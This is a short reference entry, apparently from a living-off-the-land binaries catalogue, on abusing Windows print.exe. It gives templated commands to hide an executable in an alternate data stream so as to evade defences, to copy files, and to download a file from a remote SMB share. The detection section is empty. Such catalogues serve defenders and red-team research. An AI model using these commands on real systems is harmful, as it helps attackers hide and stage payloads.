Print.exe

Used by Windows to send files to the printer

Paths

  • C:\Windows\System32\print.exe
  • C:\Windows\SysWOW64\print.exe

Commands

ADS

Copy file.exe into the Alternate Data Stream (ADS) of file.txt.

Use case: Hide binary file in alternate data stream to potentially bypass defensive counter measures

Privileges: User

print /D:{PATH_ABSOLUTE}:file.exe {PATH_ABSOLUTE:.exe}

Copy

Copy file from source to destination

Use case: Copy files

Privileges: User

print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_ABSOLUTE:.source.exe}

Copy

Copy File.exe from a network share to the target c:\OutFolder\outfile.exe.

Use case: Copy/Download file from remote server

Privileges: User

print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_SMB:.source.exe}

Detection

Resources